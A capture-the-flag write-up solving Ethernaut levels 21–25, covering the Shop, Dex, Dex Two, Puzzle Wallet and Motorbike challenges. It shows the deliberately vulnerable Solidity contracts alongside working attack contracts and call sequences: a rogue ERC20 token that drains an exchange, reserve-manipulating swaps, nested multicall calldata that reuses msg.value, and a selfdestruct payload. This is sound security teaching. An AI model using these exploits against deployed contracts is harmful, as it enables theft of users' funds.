Solving Ethernaut - Part 5 - Levels 21 to 25
Overview
Fifth (and last?) part of the solutions to Ethernaut. The challenges in this part are mostly vulnerabilities on more complex contracts, that mimic real exploits.
Info
All my solutions to Ethernaut were coded some time ago, however, I had a bit more experience with Solidity than when I solved CaptureTheEther. The code still won't win any style or correctness competition, but does its job.
It's possible to see an improvement on the quality of my code. The contracts I used were not modified nor prettified for publishing, so I'm quite proud of my progress. Still there's a lot of room for even more improvements. Never stop learning and getting better at something.
The complete code for these solutions is at my Ethernaut-solutions github repo.
Level 21: Shop
A contract that sets up a shop, asking a price for an item. The goal is to buy the item with a discounted price.
Contract analysis
This is an improved version of Level 11 - Elevator. The difference is that the called function is now view
, which means that it can't modify storage.
The Shop
contract asks the price the Buyer
is willing to pay for the item, by calling its price()
function, with a STATICCALL
due to the view
modifier. If the price is higher than the selling price, the item is sold.
The call to price()
has a hardcoded gas limit of 3300 units.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4interface Buyer {
5 function price() external view returns (uint);
6}
7
8contract Shop {
9 uint public price = 100;
10 bool public isSold;
11
12 function buy() public {
13 Buyer _buyer = Buyer(msg.sender);
14
15 if (_buyer.price{gas:3300}() >= price && !isSold) {
16 isSold = true;
17 price = _buyer.price{gas:3300}();
18 }
19 }
20}
Vulnerability / Attack vector
There are two calls to price()
of the Buyer
. The caller assumes this function will return always the same, but there's a chance that it doesn't.
Even if the Buyer::price()
call can't modify its own storage, there is a change in the bool isSold
flag between both calls, and that flag is public
, so its value can be seen from other contracts.
Solution
From the called function's perspective, there's no way to tell apart the first and second call. It can't modify its own storage like the Level 11 solution, so it can't keep track of the number of times it has been called.
As said above, the difference between the first and second calls to price()
, is that (if the first call meets the stated conditions) prior to the second call, the value of bool isSold
changes. It is a public variable, so the compiler generates a getter function (automatically marked as view) that returns the value. A view
function can call other view
functions via STATICCALL
, this was the solution. Or the first attempt at a solution, at least.
1contract ShopAttack {
2 Shop target;
3
4 constructor(address _target) public {
5 target = Shop(_target);
6 }
7
8 function price() external view returns (uint) {
9 if(target.isSold()) {
10 return 1;
11 } else {
12 return 101;
13 }
14 }
15
16 function buy() public {
17 target.buy();
18 }
19}
Deploying both the Shop
and ShopAttack
contracts in a Remix VM, this solution worked as expected. However, it didn't work at the real level instance.
I started looking for the problem at Etherscan's transaction receipt and internal transactions. There it was, the calls to Buyer.price()
did not forward 3300 gas, but only 3000. The deployed contract was different from the one shown in the level's page. Still, there had to be a solution. After all, Level 18 was enlightening, and its lesson should be learned by now.
Next approach, meet Yul again:
1contract ShopAttack {
2 Shop target;
3
4 constructor(address _target) public {
5 target = Shop(_target);
6 }
7
8 function price() external view returns (uint) {
9
10 assembly {
11 // function signature as parameter
12 mstore(0, 0xe852e74100000000000000000000000000000000000000000000000000000000)
13 pop(staticcall(gas(), sload(0), 0, 32, 32, 32))
14
15 let r := mload(32)
16 if iszero(r) {
17 mstore(64, 101)
18 return(64, 32)
19 }
20 mstore(64, 1)
21 return(64, 32)
22 }
23 }
24
25 function buy() public {
26 target.buy();
27 }
28}
The price()
function now implements a similar behaviour to the previous one, but this time in Yul, that apparently misses some checks and therefore wastes less gas.
The mstore
and staticcall()
functions at lines 12-13 call the Shop
contract's isSold()
getter. If the return value is zero (or false
), the function returns a higher value to pass the if
condition of the caller. Otherwise, if isSold
is true
, return a price of 1
to buy it cheap.
Conclusions
The obvious one: if something changes between calls to external functions, it can be used as a conditional for modifying behaviour. The problem would be easily solved by calling price()
once and caching the result.
I'm still not sure if the wrong gas value in the price()
call was intentional or accidental. However, I think the challenge was worth it.
Level 22: Dex
A simple decentralized exchange that allows swapping between two tokens. The goal is to empty at least one of the tokens from the contract.
Contract analysis
There are two ERC20 tokens not shown in the level code, called token1
and token2
. The Dex
instance has a starting balance of 100 of each token, and the player 10 of each token.
The exchange implements the add_liquidity(address, uint)
function to add liquidity of a token (a fancy way of saying you can send tokens to the contract that you will never get back), a balanceOf(address, address)
function to check balances of the tokens, a get_swap_price(address, address, uint)
function to calculate the amount of tokens that the player can get if a swap is made, and finally an approve(address, uint)
function to allow an address to spend tokens on behalf of the msg.sender
.
The swap()
function is the one that implements the logic to check the balances and perform the swap of tokens. The only possible swaps are the ones involving token1
and token2
.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6import '@openzeppelin/contracts/math/SafeMath.sol';
7
8contract Dex {
9 using SafeMath for uint;
10 address public token1;
11 address public token2;
12 constructor(address _token1, address _token2) public {
13 token1 = _token1;
14 token2 = _token2;
15 }
16
17 function swap(address from, address to, uint amount) public {
18 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
19 require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
20 uint swap_amount = get_swap_price(from, to, amount);
21 IERC20(from).transferFrom(msg.sender, address(this), amount);
22 IERC20(to).approve(address(this), swap_amount);
23 IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
24 }
25
26 function add_liquidity(address token_address, uint amount) public{
27 IERC20(token_address).transferFrom(msg.sender, address(this), amount);
28 }
29
30 function get_swap_price(address from, address to, uint amount) public view returns(uint){
31 return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
32 }
33
34 function approve(address spender, uint amount) public {
35 SwappableToken(token1).approve(spender, amount);
36 SwappableToken(token2).approve(spender, amount);
37 }
38
39 function balanceOf(address token, address account) public view returns (uint){
40 return IERC20(token).balanceOf(account);
41 }
42}
43
44contract SwappableToken is ERC20 {
45 constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
46 _mint(msg.sender, initialSupply);
47 }
48}
Vulnerability / Attack vector
The exchange rate is calculated from the reserves of each token in the Dex. An attacker can easily manipulate the balances by depositing tokens or by making swaps.
Solution
The player can perform swaps with his tokens, to manipulate the reserves of the exchange.
This challenge can be solved in two steps:
- Allow the exchange to spend the player's tokens, by calling
approve(<DEX_INSTANCE_ADDRESS>, 1000)
from the player's EOA. - Swap back and forth between
token1
andtoken2
until the dex reserves of one of the tokens is zero, by sucessively callingswap(<TOKENx_ADDRESS>, <TOKENy_ADDRESS>, <PLAYERS_BALANCE_OF_TOKENx>)
, withx
andy
being1
and2
for every odd call, and viceversa for every even call.
The progression of balances goes according to the following table, showing the balances after the action has been executed:
Action | Player's T1 balance | Player's T2 balance | Dex's T1 balance | Dex's T2 balance |
---|---|---|---|---|
approve(<DEX_ADDRESS>, 1000) |
10 | 10 | 100 | 100 |
swap(<TOKEN1>, <TOKEN2>, 10) |
0 | 20 | 110 | 90 |
swap(<TOKEN2>, <TOKEN1>, 20) |
24 | 0 | 86 | 110 |
swap(<TOKEN1>, <TOKEN2>, 24) |
0 | 30 | 110 | 80 |
swap(<TOKEN2>, <TOKEN1>, 30) |
41 | 0 | 69 | 110 |
swap(<TOKEN1>, <TOKEN2>, 41) |
0 | 65 | 110 | 45 |
swap(<TOKEN2>, <TOKEN1>, 45) |
110 | 20 | 0 | 90 |
The last call to swap(address, address, uint)
wasn't for the full balance of the player's token2
, simply because the Dex didn't have enough funds to pay for the swap.
If the swap function was called for the full 65 tokens, the price according to get_swap_price(<TOKEN2>, <TOKEN1>, 65)
should have been 158 (that is, $65 \times 110 / 45$ rounded down). The Dex only has 110 token1
, so it can't transfer more than this amount. Calculating backwards from the price equation the amount of token2
needed to get 110 token1
, the result is 45.
Conclusions
Price manipulation attacks are common in DeFi. There shouldn't be a single price feed, and certainly not if that feed comes from an exploitable source. As stated in the level solution page, the way to go is to use oracles that work as a reliable way of introducing decentralized price data to a transaction.
Level 23: Dex Two
A variation on the previous level. The swap()
function is different, and the goal is to drain both token1
and token2
reserves from the exchange.
Contract analysis
Let's focus on the differences from the Dex
contract of Level 22: now the exchange allows any token, not just token1
and token2
.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6import '@openzeppelin/contracts/math/SafeMath.sol';
7
8contract DexTwo {
9 using SafeMath for uint;
10 address public token1;
11 address public token2;
12 constructor(address _token1, address _token2) public {
13 token1 = _token1;
14 token2 = _token2;
15 }
16
17 function swap(address from, address to, uint amount) public {
18 require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
19 uint swap_amount = get_swap_amount(from, to, amount);
20 IERC20(from).transferFrom(msg.sender, address(this), amount);
21 IERC20(to).approve(address(this), swap_amount);
22 IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
23 }
24
25 function add_liquidity(address token_address, uint amount) public{
26 IERC20(token_address).transferFrom(msg.sender, address(this), amount);
27 }
28
29 function get_swap_amount(address from, address to, uint amount) public view returns(uint){
30 return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
31 }
32
33 function approve(address spender, uint amount) public {
34 SwappableTokenTwo(token1).approve(spender, amount);
35 SwappableTokenTwo(token2).approve(spender, amount);
36 }
37
38 function balanceOf(address token, address account) public view returns (uint){
39 return IERC20(token).balanceOf(account);
40 }
41}
42
43contract SwappableTokenTwo is ERC20 {
44 constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
45 _mint(msg.sender, initialSupply);
46 }
47}
Vulnerability / Attack vector
The attacker can swap a malicious token that returns any value when the balanceOf()
method is called, thus manipulating the price of any pair that involves this rogue token.
Solution
The attack consists in swapping from rogueToken
to token1
and token2
to empty the exchange's reserve.
This rogueToken
should return a high enough balance for the attacker, and a crafted balance for the exchange. The exact value will come from the equation implemented in get_swap_amount()
:
\[ out = \frac{amount \times balance_{to}}{balance_{from}} \]
Where $balance_{to}$ and $balance_{from}$ are the exchange's balance of tokens to
and from
.
To empty the balance of the valid tokens, we have to swap from the rogue token to the valid token. Also, as we have infinity rogue tokens, we need to set the exchange's balance to a set amount, so that the return from get_swap_amount()
is exactly 100.
Let's craft the attack: Swap 1 rogueTokens
for 100 token1
, that is, call swap(<rogueToken>, <token1>, 1)
. To be able to get 100 token1
from the swap, the exchange's balance of rogueToken
should be:
\[ balance_{from} = \frac{amount \times balance_{to}}{expectedOut} = \frac{1 \times 100}{100} = 1 \]
1contract DexTwoAttack is IERC20 {
2
3 uint256 public fakeBalance;
4 address public exchange;
5
6 function setExchange(address to) public {
7 exchange = to;
8 }
9
10 function setFakeBalance(uint256 amount) public {
11 fakeBalance = amount;
12 }
13
14 function transferFrom(address, address, uint256) public override returns(bool){
15 return true;
16 }
17
18 function balanceOf(address account) public view override returns(uint256) {
19 if (account == exchange) {
20 return fakeBalance;
21 } else {
22 return uint256(-1);
23 }
24 }
25
26 function allowance(address owner, address spender) external view override returns (uint256) {}
27 function approve(address spender, uint256 amount) external override returns (bool) {}
28 function transfer(address recipient, uint256 amount) external override returns (bool) {}
29 function totalSupply() external view override returns (uint256) {}
30}
The attacker contract is an ERC20 token that implements only the needed functions. If the balanceOf(address)
function is called from the exchange, it will return fakeBalance
, a value that can be set by the attacker. For any other caller, the function returns the maximum value for the uint256
type.
So, to drain the exchange, two calls are to be made to the attacker instance:
setFakeBalance(1)
setExchange(<dex>)
And three calls to the exchange instance:
approve(<dex>, 1000)
swap(<rogueToken>, <token1>, 1)
swap(<rogueToken>, <token2>, 1)
Conclusions
It is a big security risk to trust external contracts. Even if they implement ERC20 interface correctly, they still can have a totally different behaviour.
Level 24: Puzzle wallet
Some friends created an upgradable and collaborative wallet to batch payments on a single transaction. The implementation is insecure, so let's find the bug. The goal is to become the administrator of the proxy.
Contract analysis
There are two contracts in this challenge. The first one implements an upgradeable proxy, and the second one is the Puzzle Wallet created by the group of friends.
Using an upgradeable proxy is a way to correct bugs on already deployed contracts. The PuzzleProxy
inherits from OpenZeppelin's UpgradeableProxy
and implements an access control where the administrator can upgrade the implementation via upgradeTo(address)
, and replace himself as an administrator via approveNewAdmin(address)
. Anyone can propose a new administrator address calling proposeNewAdmin(address)
, but the change is not effective until the current administrator approves the change.
The PuzzleWallet
also has an access control mechanism, where the owner can whiltelist new addresses to interact with the contract. The whitelist-only functions are:
setMaxBalance(uint256)
, sets the maximum balance allowed in the contract.deposit()
, increases the caller's balance by themsg.value
sent.execute(address, uint256, bytes)
, allows to call an external address transferring value, given that the caller has enough balance.multicall(bytes[])
, allows to perform multiple transactions in a single call.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3pragma experimental ABIEncoderV2;
4
5import "@openzeppelin/contracts/math/SafeMath.sol";
6import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
7
8contract PuzzleProxy is UpgradeableProxy {
9 address public pendingAdmin;
10 address public admin;
11
12 constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
13 admin = _admin;
14 }
15
16 modifier onlyAdmin {
17 require(msg.sender == admin, "Caller is not the admin");
18 _;
19 }
20
21 function proposeNewAdmin(address _newAdmin) external {
22 pendingAdmin = _newAdmin;
23 }
24
25 function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
26 require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
27 admin = pendingAdmin;
28 }
29
30 function upgradeTo(address _newImplementation) external onlyAdmin {
31 _upgradeTo(_newImplementation);
32 }
33}
34
35contract PuzzleWallet {
36 using SafeMath for uint256;
37 address public owner;
38 uint256 public maxBalance;
39 mapping(address => bool) public whitelisted;
40 mapping(address => uint256) public balances;
41
42 function init(uint256 _maxBalance) public {
43 require(maxBalance == 0, "Already initialized");
44 maxBalance = _maxBalance;
45 owner = msg.sender;
46 }
47
48 modifier onlyWhitelisted {
49 require(whitelisted[msg.sender], "Not whitelisted");
50 _;
51 }
52
53 function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
54 require(address(this).balance == 0, "Contract balance is not 0");
55 maxBalance = _maxBalance;
56 }
57
58 function addToWhitelist(address addr) external {
59 require(msg.sender == owner, "Not the owner");
60 whitelisted[addr] = true;
61 }
62
63 function deposit() external payable onlyWhitelisted {
64 require(address(this).balance <= maxBalance, "Max balance reached");
65 balances[msg.sender] = balances[msg.sender].add(msg.value);
66 }
67
68 function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
69 require(balances[msg.sender] >= value, "Insufficient balance");
70 balances[msg.sender] = balances[msg.sender].sub(value);
71 (bool success, ) = to.call{ value: value }(data);
72 require(success, "Execution failed");
73 }
74
75 function multicall(bytes[] calldata data) external payable onlyWhitelisted {
76 bool depositCalled = false;
77 for (uint256 i = 0; i < data.length; i++) {
78 bytes memory _data = data[i];
79 bytes4 selector;
80 assembly {
81 selector := mload(add(_data, 32))
82 }
83 if (selector == this.deposit.selector) {
84 require(!depositCalled, "Deposit can only be called once");
85 // Protect against reusing msg.value
86 depositCalled = true;
87 }
88 (bool success, ) = address(this).delegatecall(data[i]);
89 require(success, "Error while delegating call");
90 }
91 }
92}
The multicall(bytes[])
function has a flag preventing it to call deposit()
more than once, otherwise there would be duplicate deposits with the same msg.value
.
Vulnerability / Attack vector
There are two vulnerabilities that need to be exploited to become administrator of the proxy:
- Storage slots overwritten between the proxy and the implementation
- Bad implementation allowing
msg.value
reuse inmulticall(bytes[])
Solution
First thing to notice, is that the storage is vulnerable to an overwritting of variables. The layout of the first two slots is:
- Slot 0:
address pendingAdmin
fromPuzzleProxy
, andaddress owner
fromPuzzleWallet
. - Slot 1:
address admin
fromPuzzleProxy
, anduint256 maxBalance
fromPuzzleWallet
.
So, overwriting one of the variables that point to one of those slots, the other one would be modified. This is the way to become owner of PuzzleWallet
. Calling proposeNewAdmin(address)
with the player address as argument, makes the player the new owner of the wallet. Note that this is an external function with no modifiers, so anyone can call it.
Now we have to overwrite uint256 maxBalance
in PuzzleWallet
to become admin of the proxy. This is not as straightforward as the previous task, as it requires some intermediate steps to complete.
First step, as the owner of the wallet, add the player's address to the whitelist calling addToWhitelist(address)
.
Now, the plan is to call setMaxBalance(uint256)
to overwrite the proxy's administrator address. The problem is that the function requires the contract's balance (that is, the wallet's balance) to be 0. When the contract was deployed, it was funded with 1 ether, so the next task would be to get that ether out.
The only function that implements an ether transfer is execute(address, uint256, bytes)
. However, the wallet has an internal accounting implemented in the mapping balances
. So far, the player's internal balance is 0, so there's no way to execute this function. If the player calls deposit()
to increment his own balance, the msg.value
sent will be added to the balance, but the internal accounting would still be 1 ether behind the real wallet balance. We need to find a way to trick the internal balance to match the contract's balance.
This trick is to call multicall(bytes[])
with an argument array such that it:
- Calls
deposit()
with themsg.value
sent. - Calls itself with the data to call
deposit()
again, in what we could define as a recursive call of sorts. This can be repeated any amount of times, as needed.
To pass these calls as bytes[]
argument, we need to abi-encode them. According to Solidity's contract ABI specification, the encoded calls are:
- Call to
deposit()
:0xd0e30db0
, as there are no arguments, we only need the function selector. - Call to
multicall(bytes[])
with the previous call as argument:0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000
This scenario bypasses the depositCalled
flag, because it is local to the current call. The msg.value
can then be reused for both deposits, increasing the player's internal balance in a greater amount than the contract's balance. The goal here is to choose a msg.value
and repeating the recursive call an amount of times such that the player's internal balance ends up being higher or equal to the contract's balance.
Remembering that the initial contract's balance is 1 ether
and the player's balance is 0, the simplest approach would be setting msg.value
to 1 ether
and calling the function once. The final result is both balances equal to 2 ether
. However, if you don't have that much ether to spare, you can send 0.1 ether
and call the function 10 times.
Now that both balances are at least equal, it's possible to call execute(address, uint256, bytes)
to recover the ethers and empty the contract's balance. This will allow the player to finally call setMaxBalance(uint256)
with his EOA as argument, effectively becoming the admin of the proxy.
Conclusions
Before implementing a pattern such as Proxy, read the documentation thorougly in order to avoid falling in these implementation problems.
Also, all delegatecalls should be considered risky, moreso if they are inside a loop, with the target passed as argument and with the possibility of reusing msg.value
. Never trust user input, ever.
Level 25: Motorbike
Here's an implementation of a motorbike whose design implements an upgradable engine. The creators decided to implement the UUPS upgradeable pattern and the goal is to somehow destroy the implemented engine.
Contract analysis
Two contracts in this level, the first one implements the Motorbike
and acts as a proxy, forwarding all calls to the second contract, the Engine
implementation.
In the Motorbike
contract there are no public or external functions except for the fallback()
. This instance only serves as storage and call delegator. All the calls are forwarded to the address stored in slot keccak("eip1967.proxy.implementation") - 1
, also referred to as _IMPLEMENTATION_SLOT
. Upon deployment, this slot gets initialized to the designated Engine
instance.
The Engine
contract inherits from Initializable
, which simplifies the initialization of storage upon a new instance deployment. Basically, you can't use a constructor to initialize its storage, because the storage it uses is not its own but Motorbike
's. The initializer
modifier makes sure that the functions marked with it can only be called once.
The only publicly callable functions in Engine
are initialize()
that isn't really callable because the contract is already initialized, and upgradeToAndCall(address, bytes)
that allows the upgrader address to upgrade the implementation to a new address.
1// SPDX-License-Identifier: MIT
2
3pragma solidity <0.7.0;
4
5import "@openzeppelin/contracts/utils/Address.sol";
6import "@openzeppelin/contracts/proxy/Initializable.sol";
7
8contract Motorbike {
9 // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
10 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
11
12 struct AddressSlot {
13 address value;
14 }
15
16 // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
17 constructor(address _logic) public {
18 require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
19 _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
20 (bool success,) = _logic.delegatecall(
21 abi.encodeWithSignature("initialize()")
22 );
23 require(success, "Call failed");
24 }
25
26 // Delegates the current call to `implementation`.
27 function _delegate(address implementation) internal virtual {
28 // solhint-disable-next-line no-inline-assembly
29 assembly {
30 calldatacopy(0, 0, calldatasize())
31 let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
32 returndatacopy(0, 0, returndatasize())
33 switch result
34 case 0 { revert(0, returndatasize()) }
35 default { return(0, returndatasize()) }
36 }
37 }
38
39 // Fallback function that delegates calls to the address returned by `_implementation()`.
40 // Will run if no other function in the contract matches the call data
41 fallback () external payable virtual {
42 _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
43 }
44
45 // Returns an `AddressSlot` with member `value` located at `slot`.
46 function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
47 assembly {
48 r_slot := slot
49 }
50 }
51}
52
53contract Engine is Initializable {
54 // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
55 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
56
57 address public upgrader;
58 uint256 public horsePower;
59
60 struct AddressSlot {
61 address value;
62 }
63
64 function initialize() external initializer {
65 horsePower = 1000;
66 upgrader = msg.sender;
67 }
68
69 // Upgrade the implementation of the proxy to `newImplementation`
70 // subsequently execute the function call
71 function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
72 _authorizeUpgrade();
73 _upgradeToAndCall(newImplementation, data);
74 }
75
76 // Restrict to upgrader role
77 function _authorizeUpgrade() internal view {
78 require(msg.sender == upgrader, "Can't upgrade");
79 }
80
81 // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
82 function _upgradeToAndCall(
83 address newImplementation,
84 bytes memory data
85 ) internal {
86 // Initial upgrade and setup call
87 _setImplementation(newImplementation);
88 if (data.length > 0) {
89 (bool success,) = newImplementation.delegatecall(data);
90 require(success, "Call failed");
91 }
92 }
93
94 // Stores a new address in the EIP1967 implementation slot.
95 function _setImplementation(address newImplementation) private {
96 require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
97
98 AddressSlot storage r;
99 assembly {
100 r_slot := _IMPLEMENTATION_SLOT
101 }
102 r.value = newImplementation;
103 }
104}
Vulnerability / Attack vector
Since the Engine
contract has no constructor, its own storage is not initialized.
Solution
This vulnerability can be used to become the updater of the deployed instance, and make it delegatecall a selfdestruct()
function.
As said earlier, the Motorbike
proxy allows to delegatecall the Engine
functions, therefore using its storage. However, if the attacker calls the function on the deployed instance of Engine
, the storage used will be its own, and not Motorbike
's.
The goal of the level was to selfdestruct()
the Engine
instance. So, the first step is to find its address by either reading the Motorbike
instance's _IMPLEMENTATION_SLOT
storage slot, or by checking Etherscan for the address of Motorbike
and then checking its internal transactions. Once the address is known, the next step is to interact with it and become the upgrader by calling initialize()
. Remember that the storage modified now is Engine
's and not Motorbike
's, because we're not delegating the calls.
Next, to destroy the instance, the upgradeToAndCall(address, bytes)
function trusts the address passed as argument enough to allow a delegatecall to whatever function we choose. So, the following contract was deployed.
1contract EngineKiller {
2 function kill() public {
3 selfdestruct(0x0000000000000000000000000000000000000000);
4 }
5}
By calling upgradeToAndCall(<EngineKiller's deployed instance>, 0x41c0e1b5)
we instruct the Engine
to destroy itself, therefore solving the level. Note that 0x41c0e1b5
is the function selector for kill()
.
Conclusions
For security, both the proxy and implementation storages must be initialized to the same values, in order to prevent this attack. The article by Santiago Palladino linked in the level text after completion is a great read.